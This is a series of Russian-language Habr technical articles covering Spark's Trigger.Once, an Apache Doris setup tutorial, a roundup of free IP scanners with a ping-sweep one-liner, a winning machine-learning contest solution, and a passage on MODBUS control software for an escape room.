К счастью, используя новую триггер-фичу Trigger.Once, добавленную в Structured Streaming в версии Spark 2.2, вы получите все преимущества [Catalyst Optimizer](https://databricks.com/glossary/catalyst-optimizer), инкрементально увеличивающего вашу рабочую нагрузку, а также экономию средств за счет того, что не придется держать незадействованный кластер. В этой заметке мы рассмотрим, как использовать триггеры для достижения обеих целей.
### Triggers в Structured Streaming
В Structured Streaming триггеры используются для управления размером микробатча . Как только срабатывает триггер, Spark проверяет, есть ли новые данные. Если они есть, то обрабатывается новая пачка данных. Если новых данных нет, то поток "спит" до следующего триггера.
По умолчанию Structured Streaming работает с минимально возможной задержкой, поэтому следующий триггер срабатывает сразу же после завершения предыдущего. Для случаев использования с более низкими требованиями к задержке Structured Streaming поддерживает триггер ProcessingTime, который срабатывает через заданный пользователем интервал, например, каждую минуту.
Хотя это уже неплохо, но кластер будет по-прежнему продолжать работу 24 часа в сутки 7 дней в неделю. В отличие от этого, триггер RunOnce сработает только один раз, например в 4 часа и обработает накопившиеся данные за полчаса, таким образом это будет всего 3 часа занятых ресурсов
Триггеры определяются когда вы начинаете передачу потоков.
```
import org.apache.spark.sql.streaming.Trigger
// Load your Streaming DataFrame
val sdf = spark.readStream.format("json").schema(my_schema).load("/in/path")
// Perform transformations and then write…
sdf.writeStream.trigger(Trigger.Once).format("parquet").start("/out/path")
```
### Почему потоковая стриминговая обработка и RunOnce лучше Batch
Вы можете спросить, чем это отличается от простого выполнения задания по обработке пакетных файлов (batch job)? Давайте рассмотрим преимущества выполнения Structured Streaming перед батч-джобом.
### Bookkeeping
Когда вы запускаете батч-джоб, выполняющий инкрементные обновления, то приходится разбираться с тем, какие из поступающих данных являются новыми, что следует обрабатывать, а что нет. Structured Streaming уже делает все это за вас. При написании обычных приложений для потоковой стриминговой обработки вы должны заботиться только о бизнес-логике, а не о низкоуровневом учете использования ресурсов (bookkeeping).
### Атомарность на уровне таблиц
Наиболее важной характеристикой механизма обработки больших данных является то, как он способен переносить сбои и отказы. ETL-джобы могут (на практике часто так и происходит) давать сбои. Если ваш джоб завершился неудачно, то необходимо обеспечить очистку результатов работы, иначе после следующего успешного выполнения задания вы получите дубликаты или мусорные данные.
При использовании Structured Streaming для написания таблицы на основе файла, Structured Streaming коммитит все файлы, созданные джобом, в журнал (лог) после каждого успешного триггера (срабатывания). Когда Spark считывает таблицу, он использует этот лог, чтобы определить, какие файлы являются валидными. Это гарантирует, что мусор, появившийся в результате сбоев, не будет потребляться последующими приложениями.
### Стейтфул-операции между запусками
Если ваш пайплайн данных имеет возможность генерировать дубликаты записей, но вам нужна семантика ориентированная на выполнение определенного задания “строго один раз” (exactly once), как вы добиваетесь этого при пакетной обработке? С Structured Streaming это так же просто, как установить водяной знак (watermark) и использовать `dropDuplicates()`. Настраивая водяной знак достаточной длины, чтобы охватить несколько циклов задания по потоковой стриминговый обработке, вы будете уверены, что не получите дублирующихся данных **между** запусками.
### Экономия затрат
Выполнение заданий по потоковой стриминговой обработке в режиме 24/7 — это затратное испытание. У вас могут быть случаи, когда допустима задержка в несколько часов, либо данные поступают ежечасно или ежедневно. Чтобы получить все преимущества Structured Streaming, описанные выше, может показаться, что вам нужно постоянно поддерживать кластер в рабочем состоянии. Но теперь, с триггером "выполнить один раз" (execute once), вам это не нужно!
В Databricks у нас был двухэтапный пайплайн данных, состоящий из одного инкрементного задания, делающего доступной последнюю информацию, и другого в конце дня, которое обрабатывало данные за все время, выполняло дедупликацию и перезаписывало результаты инкрементного задания. Второе задание использовало бы значительно больше ресурсов, чем первое (4x), и выполнялось бы значительно дольше (3x). Мы смогли избавиться от второго задания во многих наших пайплайнах, что дало 10-кратное сокращение общих затрат. Мы также смогли навести порядок в нашей кодовой базе с помощью нового триггера "выполнить один раз". Такая экономия затрат, безусловно, радует руководителей финансовых и инженерных отделов!
### Планирование выполняется c помощью Databricks
[Планировщик заданий от Databricks](https://databricks.com/blog/2015/03/18/databricks-launches-jobs-feature-for-production-workloads.html) позволяет пользователям составлять расписание производственных заданий при помощи нескольких обычных щелчков мыши. Он идеально подходит для планирования заданий Structured Streaming, которые запускаются с помощью триггера "выполнить один раз".
В Databricks мы используем планировщик для запуска всех наших производственных заданий. Как разработчики, мы гарантируем, что бизнес-логика в ETL-джобе хорошо протестирована. Мы загружаем наш код в Databricks в виде библиотеки и настраиваем блокноты для установки конфигураций ETL-джоба, таких как каталог входного файла. Остальное зависит от Databricks, которая управляет кластерами, планирует и выполняет задания, а Structured Streaming выясняет, какие файлы являются новыми, и обрабатывает поступающие данные. Конечным результатом является сквозной - от источника до хранилища данных, не только внутри Spark - ровно один пайплайн данных. Ознакомьтесь с [нашей документацией](https://docs.databricks.com/spark/latest/structured-streaming/production.html?_ga=2.175773090.1295375367.1653663160-660783955.1653521905) о том, как лучше всего запускать Structured Streaming с заданиями.
### Резюме
В этой статье блога мы представили новый триггер "выполнить один раз" (execute once) для Structured Streaming. Хотя execute once напоминает запуск задания по обработке пакетных файлов (batch job), мы обсудили все преимущества его использования по сравнению с батч-джобом, а именно:
* Управление всем учетом данных для обработки.
* Обеспечение атомарности на уровне таблиц для ETL-джобов в хранилище файлов.
* Обеспечение стейтфул-операций между циклами заданий, что позволяет облегчить дедупликацию данных.
Помимо всех этих преимуществ по сравнению с пакетной обработкой, вы также получаете экономию средств благодаря отсутствию неработающего 24/7 кластера при выполнении нерегулярных заданий по потоковой стриминговой обработке. Лучшее из двух областей для пакетной и потоковой стриминговой обработки теперь в вашем распоряжении.
---
Всех желающих приглашаем на открытое занятие «Дата инженер и Spark в новых реалиях», на котором разберем:
* Как изменятся источники и получатели данных, объемы данных, языки для ETL, кластера, облака и IDE.
* Как изменится потребность на рынке в дата инженере и к чему нужно быть готовым.
* Обсудим open source технологии, примеры миграционных проектов.
[Регистрация на занятие.](https://otus.pw/ZOvA/) | https://habr.com/ru/post/670266/ | null | ru | null |
# Аналитические панели в реальном времени. В поисках (Apache) Doris
Можно было бы назвать эту статью "Yet another analytical database", если бы не тот факт, что Apache Doris построен на архитектуре MPP, которая изначально ориентирована на параллельные вычисления и использование распределенного хранения и обработки данных на кластерах. Изначально проект Baidu, инструмент позволяет подготавливать аналитические панели с обновлением в реальном времени, при этом источниками данных могут быть как потоки из внешних источников (логи событий, time series-данные), так и источники из Data Lake (например, Apache Iceberg или Hive). В этой статье мы рассмотрим основные моменты использования Apache Doris на простом примере хранения и простой обработки данных о погоде.
Apache Doris представляет собой комбинацию Backend-хранилища и Frontend-обработчиков запросов, при этом каждый из уровней может быть реализован несколькими узлами для отказоустойчивости и балансировки нагрузки.
Для внешнего доступа используется протокол, совместимый с MySQL, что позволяет использовать клиентские библиотеки и инструменты, разработанные для MySQL / MariaDB без необходимости модификации. Внутри Apache Doris представляет собой колоночное хранилище и использует индексы для ускорения поиска. Модель данных также представляется в виде таблиц с типизированными столбцами.
При поступлении запроса frontend сервер планирует его выполнение на кластере backend-узлов, при этом сама реализация backend использует возможности SIMD и многозадачности в пределах одного процессора, что позволяет получить очень высокую производительность даже на небольшом кластере. Запрос декомпозируется на несколько этапов, каждый из которых может принимать на вход вектор значений от предыдущего и выполнять обработку параллельно с получением результатов предшествующего шага.
При установке frontend настраиваются два типа узлом: follower (будет участвовать в выполнении операций, один из них выбирается leader) и observer (не участвует непосредственно в определении плана операции, но нужен для обеспечения кворума для голосования). Backend будет использовать дисковое пространство для хранения данных (создаются три копии каждого блока данных).
Для тестирования будет достаточно установить один frontend-сервер и один backend. Также для взаимодействия с внешними источниками данных нужно установить процесс брокера.
Сначала запустим frontend-сервер. Зададим переменную DORIS\_HOME:
```
export DORIS_HOME=$HOME/.doris/
```
и создадим каталог для хранения данных:
```
mkdir $DORIS_HOME/doris-meta
```
Архив Doris может быть получен с [этой](https://doris.apache.org/download/) страницы. Распакуем архив и запустим:
```
bin/start_fe.sh --daemon
```
Создадим теперь каталог для backend:
```
mkdir -p be/storage
```
и запустим backend-сервер:
```
bin/start_be.sh --daemon
```
Установим mysql client, подключимся к frontend-серверу и зарегистрируем backend-сервер:
```
./mysql-client -h localhost -P 9030 -uroot
ALTER SYSTEM ADD BACKEND "127.0.0.1:9050";
```
Также запустим брокер и зарегистрируем его на frontend:
```
bin/start_broker.sh --daemon
./mysql-client -h localhost -P 9030 -uroot
ALTER SYSTEM ADD BROKER weather "127.0.0.1:8000";
```
Наиболее важные отличия становятся заметны при создании таблицы. Описание столбцов данных совместимо с mysql, но кроме обычных столбцов могут быть добавлены столбцы агрегации (min/max/sum/replace), которые будут накапливать значения при обновлении базы. Например, столбец с типом replace будет заменять значение, sum - добавлять к текущему значению, min/max - актуализировать минимальное и максимальное значение. Например, мы можем накапливать наименьшее и наибольшее значение температуры за время наблюдения и дату последнего наблюдения. Создадим новую базу данных и таблицу:
```
CREATE DATABASE example;
CREATE TABLE IF NOT EXISTS weather.weather
(
`measurement_id` LARGEINT NOT NULL COMMENT "user id",
`date` DATE NOT NULL COMMENT "data import time",
`city` VARCHAR(20) COMMENT "city",
`temperature` FLOAT COMMENT "temperature",
`last_measurement` DATETIME REPLACE DEFAULT "1970-01-01 00:00:00" COMMENT "last visit date time",
`min_temperature` FLOAT MIN DEFAULT "100" COMMENT "minimum temperature"
`max_temperature` FLOAT MAX DEFAULT "0" COMMENT "maximum temperature"
)
AGGREGATE KEY(`measurement_id`, `date`, `city`, `temperature`)
DISTRIBUTED BY HASH(`measurement_id`) BUCKETS 1
PROPERTIES (
"replication_allocation" = "tag.location.default: 1"
);
```
Для импорта данных будем использовать csv-файл, для этого сначала создадим пользователя, а затем передадим файл в брокер:
```
CREATE USER test IDENTIFIED BY 'test';
GRANT ALL ON example TO test;
curl --location-trusted -u test:test -H "label:initial" -H "column_separator:," -T weather_data http://localhost:8030/api/example/weather/_stream_load
```
Файл должен содержать данные для всех столбцов и разделяться в этом случае через запятую:
```
1,2022-11-13,St.Petersburg,2.7,2022-11-14,2.7,2.7
2,2022-11-14,St.Petersburg,2.3,2022-11-14,2.3,2.3
```
Для импорта также могут использоваться следующие источники:
* загрузка из JSON (также используется \_stream\_load с заголовком format: json)
* подписка на Apache Kafka (используется CREATE ROUTINE LOAD name ON table FROM KAFKA(config)
* подписка на внешние таблицы CREATE EXTERNAL RESOURCE name PROPERTIES (type="...", host="...", ...)
* загрузка через брокер: LOAD LABEL name WITH BROKER name (config)
* подписка на изменения базы mysql (через Change Data Capture)
* Spark ETL для преобразования поточных данных
Заполненные таблицы могут быть отправлены через брокер во внешнее хранилище (например, HDFS) через EXPORT TABLE ... TO ..., также можно отправить результаты запроса SELECT ... INTO OUTFILE "hdfs://..." (или в локальный файл со схемой file://)
Для интеграции внешних источников данных можно использовать инструменты для ETL (например, [StreamX](https://streamxhub.com/docs/connector/Doris-Connector/)), ElasticSearch - CREATE TABLE ... ENGINE=ELASTICSEARCH PROPERTIES (...). [логи](https://doris.apache.org/docs/dev/ecosystem/logstash) из Logstash,
Для визуализации актуальных значений базы данных (или данных агрегации) можно использовать Grafana и [плагин](https://grafana.com/docs/grafana/latest/datasources/mysql/) для источника данных в MySQL, [Metabase](https://www.metabase.com/dashboards/mysql) с поддержкой MySQL, [Dashboard Builder](https://dashboardbuilder.net/mysql-dashboard) и многие другие инструменты, поскольку Doris полностью имитирует протокол MySQL и поддерживает SQL99 и некоторые расширенные команды MySQL.
Также в Doris поддерживаются функции по работе с массивами значений (могут быть сохранены в столбце), поддерживаются операции с геоданными, агрегации по группам значений, также поддерживаются математические, статистические функции, шифрование и хэширование, аналитические функции для групп последовательных значений (скользящее окно).
Проект представляет особый интерес благодаря возможностям интеграции с различными источниками данных, при этом все операции выполняются с максимально возможной скоростью с поддержкой MPP и распределенных вычислений. Сейчас проект Apache Doris имеет статус Top-Level Project в Apache и последовательно расширяет список плагинов для импорта-экспорта данных, а поддержка MySQL протокола позволяет использовать привычные инструменты визуализации уже сейчас.
Статья подготовлена в преддверии старта курса "[Базы Данных](https://otus.pw/FGKr/)" от OTUS. Также приглашаю всех желающих на [бесплатный вебинар](https://otus.pw/FGKr/) по теме: "Разбор типовых SQL-задач с собеседований для веб-разработчиков".
* [Зарегистрироваться на бесплатный вебинар](https://otus.pw/FGKr/) | https://habr.com/ru/post/699268/ | null | ru | null |
# Бесплатные сетевые IP-сканеры
[](https://habr.com/ru/company/ruvds/blog/693710/)
В локальной сети (LAN) обычно есть множество обменивающихся данными хостов. Сканирование сетей при помощи IP-сканера позволяет отделам ИТ, сетевым администраторам и службам безопасности следить, какие IP обмениваются данными и какие типы устройств занимают IP-адреса. Также это помогает выявлять сторонние несанкционированные хосты, которые тоже могут быть подключены к сети. Существует множество бесплатных сетевых IP-сканеров, помогающих сетевым и системным администраторам обнаруживать устройства в сети и управлять IP-ресурсами. В этой статье мы рассмотрим следующие инструменты: Nmap, Advanced IP Scanner, Angry IP Scanner, free IP scanner компании Eusing, встроенную командную строку и PowerShell.
▍ Nmap
------
Nmap уже долгое время считается надёжным инструментом информационной безопасности, он используется инженерами и сотрудниками служб безопасности. Это кроссплатформенная утилита, имеющая широкий спектр функцию, не ограничивающихся простым сканированием сетей.
Она содержит утилиты сканирования сетей, используемые для исследования сетей, и предоставляет множество утилит для аудита безопасности. Она позволяет выполнять глубокое изучение IP-пакетов, в том числе содержащих информацию о сервисах, приложениях, идентификации ОС и других характеристиках удалённого хоста. В ней есть опции «интересных портов», помогающие быстро находить порты удалённых хостов, которые часто бывают открытыми.
*Утилита сканирования сетей Nmap, выполняющая быстрое сканирование пингом локальной сети*
Бесплатный Nmap Security Scanner для Linux/Mac/Windows можно скачать [здесь](https://nmap.org/download).
▍ Advanced IP Scanner
---------------------
Большинство из нас в тот или иной момент времени сталкивалось с Advanced IP Scanner. Этот инструмент уже многие годы обеспечивает возможность быстрого сканирования сетей. Advanced IP Scanner — бесплатная утилита, которая быстро скачивается и мало весит. Начать сканирование сети с её помощью можно всего лишь за пару минут.
*Сканирование сети при помощи Advanced IP Scanner*
Этот инструмент, совместимый только с Windows, предоставляет множество базовых функций сканирования, в том числе определение имён устройств, IP-адресов и MAC-адресов при помощи [OUI lookups](https://ouilookup.com/) для распознавания производителей устройств. Результаты работы утилиты можно экспортировать в файл CSV для дальнейшего исследования устройств в других инструментах и документации. Также она может взаимодействовать с функциональностью Wake-On-LAN найденных удалённых хостов и позволяет удобно обмениваться данными с устройствами, с поддержкой RDP.
Advanced IP Scanner — это автономный исполняемый файл, который можно просто запускать без установки, что повышает его удобство и простоту использования.
Advanced IP Scanner можно скачать [здесь](https://www.advanced-ip-scanner.com/).
▍ Angry IP Scanner
------------------
Angry IP Scanner — ещё один популярный инструмент в этой категории. Он тоже является кроссплатформенным, поскольку поддерживает Windows, Mac и Linux. Angry IP Scanner сканирует сетевые порты и IP-адреса.
*Angry IP Scanner обеспечивает быстрое и простое сканирование сетей*
Он пингует адреса и резолвит имена хостов из DNS. Также он определяет MAC-адреса устройств для [OUI lookup](https://ouilookup.com/), а его возможности можно легко расширить при помощи опенсорсных плагинов, написанных на Java. Он имеет множество других функций, например, получение имени NetBIOS, рабочей группы, подключенных пользователей Windows, определение веб-серверов и многое другое. Инструмент позволяет экспортировать результаты в CSV, TXT, XML или в файлы списков IP-портов.
Angry IP Scanner — это автономный исполняемый файл, не требующий установки. Однако для его работы требуется установка на хост среды выполнения Java, что для кого-то может оказаться препятствием.
Angry IP Scanner можно скачать [здесь](https://angryip.org/download/).
▍ Free IP scanner компании Eusing
---------------------------------
Free IP scanner — это простая утилита IP-сканирования, имеющая множество отличных функций. Это быстрый сканер, для обеспечения производительности использующий технологию многопоточности. Пользователь может настраивать уровни приоритетов процесса сканирования и максимальное количество потоков. Разработчик утверждает, что инструмент может сканировать сотни компьютеров в секунду.
*Free IP scanner*
Для поиска находящихся онлайн-хостов он использует пинг. Опционально он может резолвить имена хостов, находить открытые порты и использовать другие функции в случае нахождения онлайн-хостов. Как и другие сканеры, он может получать информацию NetBIOS, в том числе имя хоста, рабочую группу, подключенного пользователя и MAC-адрес. Результаты сканирования можно сохранять в простой текстовый файл. К сожалению, этот инструмент не имеет автономного исполняемого файла, поэтому его нужно устанавливать. Программа запрашивает код регистрации, однако это freeware-программа, которую можно использовать без регистрации.
Free IP scanner можно скачать [здесь](https://www.eusing.com/ipscan/free_ip_scanner.htm).
▍ Встроенная командная строка и PowerShell
------------------------------------------
Также для нахождения хостов в сети можно использовать встроенные командные среды, в том числе командную строку и PowerShell. Например, можно выполнить простую однострочную команду для быстрого пинга и возврата всех онлайн-хостов в конкретной подсети:
```
for /l %i in (1,1,255) do @ping 10.1.149.%i -w 1 -n 1|find /i "ttl="
```
Кроме того, компания Microsoft предоставляет множество превосходных бесплатных примеров кода для различных ping-утилит, встроенных в [галерею PowerShell](https://www.powershellgallery.com/packages?q=ping). Я пробовал работать с модулем ping\_scan, и он неплохо справляется со своей задачей. В галерее есть множество опций для выполнения быстрых и простых сканирований сети при помощи ping.
▍ В заключение
--------------
Бесплатные сетевые IP-сканеры позволяют администраторам выполнять мониторинг сети и подключенных хостов. Кроме того, они способны определять типы хостов и производителей устройств, что помогает в обеспечении безопасности сетей. Системные администраторы и сотрудники служб безопасности могут использовать эти простые инструменты для слежения за сетями и создания подробной актуальной документации сети.
> **RUVDS | Community [в telegram](https://bit.ly/3KZeaxv) и [уютный чат](https://bit.ly/3qoIOXs)**
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=besplatnye_setevye_ip-skanery) | https://habr.com/ru/post/693710/ | null | ru | null |
# Победное решение конкурса ML Boot Camp III
Добрый день! В этой статье я хотел бы вкратце рассказать о решении которое принесло мне первое место на конкурсе по машинному обучению ML Boot Camp III от mail.ru.
Представлюсь, меня зовут Карачун Михаил, я являюсь так же победителем и предыдущего конкурса mail.ru. Мое прошлое решение описано [здесь](https://habrahabr.ru/company/mailru/blog/321016/) и иногда я буду на него ссылаться.
### Условия
Участникам конкурса было предложено на основании выборки данных спрогнозировать вероятность того, что игрок игравший в онлайн-игру покинет ее. Выборка содержала некоторые данные об активности игроков за две недели, в качестве метрики был выбран [logloss](http://scikit-learn.org/stable/modules/generated/sklearn.metrics.log_loss.html), подробное описание задачи на [сайте конкурса](http://mlbootcamp.ru/sandbox/10/).
### Вступление
Каждый конкурс по машинному обучению имеет свою специфику, которая зависит от выборки данных предложенной участникам. Это может быть огромная таблица сырых логов которые нужно чистить и преобразовывать в признаки. Это может быть целая база данных с различными таблицами из которой так же нужно генерировать признаки. В нашем случае данных было очень мало (25k строк и 12 колонок), они были без пропусков и ошибок. Исходя из этого были сделаны следующие предположения:
* Генерировать и перебирать гипотезы эффективней, чем их придумывать, так как объем данных очень мал.
* Скорее всего в выборке нет какой-то одной очень крутой скрытой зависимости которая в итоге все решит (killer feature).
* Скорее всего борьба будет за n-нный знак после запятой и топ-10 будет очень плотный.
То есть это должен был быть конкурс в котором сложно найти хорошую зависимость в данных и лучшее решение скорее будет состоять из ансамбля моделей, нежели из одной единственной. Так и вышло.
Небольшое лирическое отступление. Большинство победных решений конкурсов по машинному обучению не подходят для реальных систем. Взять хотя бы известный случай с Netflix, они заплатили 1 миллион $ за решение которое [не смогли внедрить](https://www.forbes.com/sites/ryanholiday/2012/04/16/what-the-failed-1m-netflix-prize-tells-us-about-business-advice/). Поэтому финальные модели в таких конкурсах напоминают мне про один роман. Вторая часть его названия «Современный Прометей» — тот самый который принес людям огонь и знания. Первая часть, конечно, «Франкенштейн».
### Базовое решение
В качестве базового решения я использовал xgboost который после оптимизации параметров через hyperopt сразу выдал результат на лидерборде 0.3825. Далее я перешел к feature engineering.
Например, было замечено, что распределения многих признаков напоминают логарифмические, поэтому к базовым колонкам я добавил их логарифмы (а точнее log(x+1)).
Дальше я генерировал различные функции от всех возможных сочетаний двух колонок и проверял как они влияют на результат. В рамках данной задачи мне показалось бессмысленным придумывать некоторые «интерпретируемые» признаки, ведь намного быстрее было бы их просто перебрать, благо объем данных позволяет. Хороший результат, например, дали разности различных признаков, что позволило получить на том же xgboost 0.3819.
Об оптимизации параметров и отборе колонок можно почитать в [моей предыдущей статье](https://habrahabr.ru/company/mailru/blog/321016/).
### Первые неприятности
При проверке решений уже в самом начале чемпионата оказалось что изменение оценки на лидерборде достаточно плохо соответствует изменению локальной оценки. При генерации новых колонок логлосс на локальной кросс-валидации стабильно уменьшался, а на лидерборде — рос, причем никакие изменения параметров локального разбиения выборки для проверки не помогали. Наблюдая за общим чатом конкурса, можно было заметить что с этой проблемой столкнулось очень много участников, вне зависимости от средних и дисперсий локальных оценок. Это был еще один знак в пользу создания ансамбля моделей.
### Больше деревьев …
На том же наборе колонок (на этот момент у меня их получилось 70) я создал еще два ансамбля градиентных деревьев, но из других библиотек — sklearn и [lightgbm](https://github.com/Microsoft/LightGBM). Обучение происходило следующим образом — сначала я настраивал каждую модель по отдельности на лучший результат, потом брал среднее, сохранял результаты всех моделей и настраивал каждую по очереди, но уже не на собственный лучший результат, а на лучший результат в ансамбле из трех моделей. Это дало на лидерборде примерно 0.3817.
### Регрессия
Несмотря на то что даже разные реализации одних и тех же алгоритмов при усреднении в ансамбле дают лучший результат, намного эффективней соединять вместе разные алгоритмы.
Так в общий ансамбль были добавлена логистическая регрессия. Модель строилась так же как и прошлые — генерируем все возможные признаки, рекурсивно отбираем и оставляем лучшие. Здесь меня ждало разочарование. Локальной регрессия показывала результат лучше чем xgboost! На лидерборде оценка была сильно хуже: 0.383. Я достаточно долго боролся с этим, выбрасывал признаки у которых распределение на тренировочной и тестовой выборках отличаются, пробовал различные методы нормализации, пробовал разбивать признаки на интервалы — ничего не помогало. Но даже при таком результате добавление регрессии в ансамбль оказалось полезным — результат примерно 0.3816
### Нейронные сети
Раз линейная регрессия показала хороший результат, то стоит попробовать и нейронные сети. На них я потратил достаточно времени, так как применение стандартных алгоритмов гипероптимизации к структуре нейрононй сети дает очень слабый результат. В итоге была найдена неплохая конфигурация которая давала на лидерборде примерно столько же сколько и регрессия. Для реализации использовалась библиотека [keras](https://keras.io/), здесь саму структуру приводить не буду, вы можете найти ее в итоговом файле, приведу лишь небольшой пример кода который мне достаточно помог. На кроссвалидации было видно что результат модели сильно зависит от количества эпох обучения. Можно снизить learning rate — но это ухудшало результат, настроить decay у меня не получилось — так же ухудшение результата. Тогда я просто решил изменить learning rate один раз в середине обучения.
```
from keras.callbacks import Callback as keras_clb
class LearningRateClb(keras_clb):
def on_epoch_end(self, epoch, logs={}):
if epoch ==300:
self.model.optimizer.lr.set_value(0.01)
```
Результат после добавления в ансамбль — результат примерно 0.3815.
### Больше моделей богу моделей
Все вышеописанные модели были построены на примерно одних и тех же колонках — сгенерированных на основании базовых признаков и их логарифмов. Так же я попробовал генерировать признаки на основании базовых колонок и их квадратных корней. Это тоже помогло — было добавлено еще два ансамбля градиентных деревьев. Такой набор и стал окончательным: регрессия, нейронная сеть и пять ансамблей градиентных деревьев. Результат примерно 0.3813
### Анализ выборки
Важным дополнением ансамбля стало небольшое изменение общего результата модели перед отправкой. Обнаружилось что в обучающей выборке есть большие группы строк с абсолютно одинаковыми признаками. А так как логлосс призывает нас оптимизировать вероятность то логично было бы заменить результаты модели на этих группах средним рассчитанным на обучающей выборке. Так и было сделано для групп размером более 50 элементов. Результат примерно 0.3809
### Идеи от которых я отказался
*Стэкинг.* При таком большом количестве моделей кажется что можно придумать лучшую функцию для их усреднения, нежели простое арифметическое среднее. Можно, например, поместить их результаты в еще одну модель. От этой идеи я отказался потому что локальные результаты сильно не совпадали с лидербордом, причем не работал даже простейший вид стекинга — взвешенное среднее.
*Ручное изменение результатов.* На обучающей выборке встречались подгруппы чьи результаты были строго 1 или строго 0, например, все игроки игравшие 14 дней. Тут конечно стоило помнить о том, как сильно логлосс наказывает за такие значения, в случае использования можно было потерять не одну сотню мест.
Так же до последнего момента среди моделей был еще random forest, но в итоге на основании public score я его исключил, хотя, как потом оказалось, на privat score модель с ним показывала лучший результат.
В итоге очень хочется поблагодарить организаторов! Вот [здесь](https://github.com/KarachunMikhail/mlbootcamp_online_game) можно посмотреть исходный код решения. | https://habr.com/ru/post/324916/ | null | ru | null |
# Опыт разработки управляющего ПО для квеструма
Последние год-полтора пользуются большой популярностью т.н. квеструмы, квесты «выйди из комнаты» реализованные в реальной жизни. Когда я ходил на первые квесты, большая часть задачек сводилась к поиску ключей и кодов для механических замков, магнитные замки были чем-то крутым и редким, не говоря уже о беспроводных интерфейсах, но чем дальше, тем более технически сложным становится это развлечение. В конце зимы мой друг, работающий в одной из таких контор, попросил помощи в написании управляющей программы для одного из их квестов, поскольку у них слился программист и начали гореть сроки. Задача была интересной, деньги неплохими, да и хорошего человека выручить не грех, поэтому я согласился, хоть и обидно было понимать, что на этот квест я не пойду, так как буду знать весь его сценарий. Сроки изначально ставилися очень сжатые, поэтому для разработки я выбрал привычную среду С++\Qt5.5.
Быстро стало понятно, что я совершил большую глупость, взявшись за работу с не очень хорошо прописанным тз, но подозреваю, что эту ошибку так или иначе совершал каждый, поэтому смысла о ней писать никакого, это не подводный камень, это самые обычные грабли.
С аппаратной точки зрения управляемая часть квеста выглядит следующим образом:
* Основной компьютер, стоящий в операторской, на котором работает программа
* Две звуковые карты в нём, к каждой из которых подключено по 5 колонок
* Телевизор, подключенный вторым экраном
* Два USB-свистка, являющиеся переходниками с USB на COM-интерфейс
* Пачка диммеров и релейников, управляемых по MODBUS
В первичной постановке задача выглядела довольно простой, читать данные по MODBUS, писать данные по MODBUS, в нужные моменты проигрывать звук в нужную колонку и видео на второй экран. Как показала практика, всё это действительно делается не очень сложно. Но вот понять, как это сделать не очень сложно — уже не столь банально.
**MODBUS**
MODBUS по факту является стандартным протоколом связи для промышленной электроники, он реализуется либо поверх TCP либо поверх ком-порта. Возможно, если бы в квесте использовались устройства подключаемый по TCP, то всё было бы немножко проще, а может и нет, не знаю. Мне достался вариант с ком-портом. Плюсы этого протокола — он стандартный. Минусы — он работает через последовательный порт на скорости 9600 бод, что в итоге ограничивает нас примерно 20 запросами в секунду по каждому из портов.
У всех MODBUS-устройств есть несколько наборов регистров. В моём случае были задействованы три: флаговые регистры (хранят булеву величину, могут быть записаны), регистры хранения (хранят целое число, могут быть записаны) и регистры ввода (хранят целое, не могут быть записаны). В квесте стояло три релейника (восемь входных регистров, на которые приходят состояния датчиков, восемь флагов управляющих релейными каналами) и пачка диммеров (в них я по факту использую пять регистров хранения, четыре управляют яркостью на своих каналах, пятый — общей яркостью).
Здесь очень важно грамотное планирование со стороны электронщиков. Во-первых, очень желательно, чтобы устройства на которые идёт активная запись и устройства, с которых идёт активное чтение, висели на разных портах. В моём случае это было выполнено, на одном порте висели диммеры, на втором — релейники. Во-вторых, если на какие-то устройства будет часто идти синхронная запись, надо чтобы они висели на соседних каналах, и вот тут случилась беда, поскольку зачастую лампочки, которые горят только вместе, висят на разных диммерах и приходится отправлять несколько запросов, расходуя ценную пропускную способность канала.
Я не испытывал ни малейшего желания формировать MODBUS пакеты вручную, поэтому в итоге использовал библиотеку libmodbus, она достаточно удобна и стабильно работает. Разобраться с ней мне очень помог проект qModMaster, в котором реализованы основные функции чтения и записи, а для отладки я использовал HHD Free Serial Virtual Ports (его бесплатного функционала более чем хватает) и DiagSlave Modbus Slave Simulator. Конечно Modbus Slave из набора Modbus tools гораздо удобнее, но он через месяц бесплатного использования превращается в тыкву, а покупать его ради одного проекта мне как-то не очень хотелось.
Что важно понимать при работе с MODBUS:
1. Выносите работу с каждым портом в отдельный поток. Скорее всего, вам захочется использовать всю пропускную способность порта, даже если у вас всего один порт, то без дополнительных потоков работать с визуальным интерфейсом будет гарантированно невозможно.
2. Подумайте о системе очередей и приоритетах. Я в итоге сделал следующим образом: в классе обрабатывающем порт есть два набора очередей, очереди записи и очереди чтения. В записи первая очередь выделена под разовые задания, которые обязательно должны быть выполнены (замыкание\размыкание реле, например), остальные очереди относятся к конкретным устройствам и используются в ситуации, когда надо писать длинную последовательность значений, но не критично, чтобы они были записаны все (например таким образом реализуется мерцание лампочек, управляемых по диммерам), каждая очередь чтения содержит запросы на чтение с одного конкретного устройства. Также выставлен приоритет чтения, его я просто вшил константой в код, потому что адаптивного метода не придумал, а необходимости пользовательской подстройки всё равно нет. Приоритет чтения означает, что если есть задания и в очереди чтения и в очереди записи, то на каждые X операций записи гарантируется одна операция чтения.
Внутри очередей чтения\записи используется револьверная система. Берётся задание из первой очереди, потом из второй и т.д., потом круг повторяется. В случае с очередями записи это привело меня к ещё одному нюансу, если я буду брать всегда первое задание, то время на выполнение очереди будет расти пропорционально числу очередей. В такой ситуации реализовать разгорание лампочки в течение десяти секунд невозможно, при одинаковой длине очереди она может разгораться и десять секунд, и минуту, и две, в зависимости от загруженности порта. К счастью эта задача решается очень просто — при выполнении задания из очереди перед тем как взять верхнее задание я откидываю задания по числу очередей (естественно кроме случая выделенной первой очереди, где выполняются все задания).
3. Не совершайте лишних действий. Если вам не нужен какой-то датчик, не читайте с него, если вы дождались с датчика сигнала об активации и вам не нужен повторный — сотрите из очереди все задания связанные с этим датчиком. Звучит вполне банально, но при первых тестах на железе я столкнулся с ситуацией, когда из-за накопившихся очередей нужный мне датчик начинал опрашиваться минут через пять после его включения. Впрочем, тогда у меня ещё и не было револьверных очередей для чтения.
4. Если вы управляете яркостью света, то знайте, у диммера конечно 256 градаций яркости, но изменение с 0 на 1, с 1 на 10 и с 64 на 255 воспринимаются почти одинаково, когда надо сделать пульсирующий свет или плавное разгорание (которое всё равно правда будет ступенчатым) это необходимо учитывать.
**Звук**
Проигрывать звук в определённый канал, говорили они. Это будет легко, говорили они.
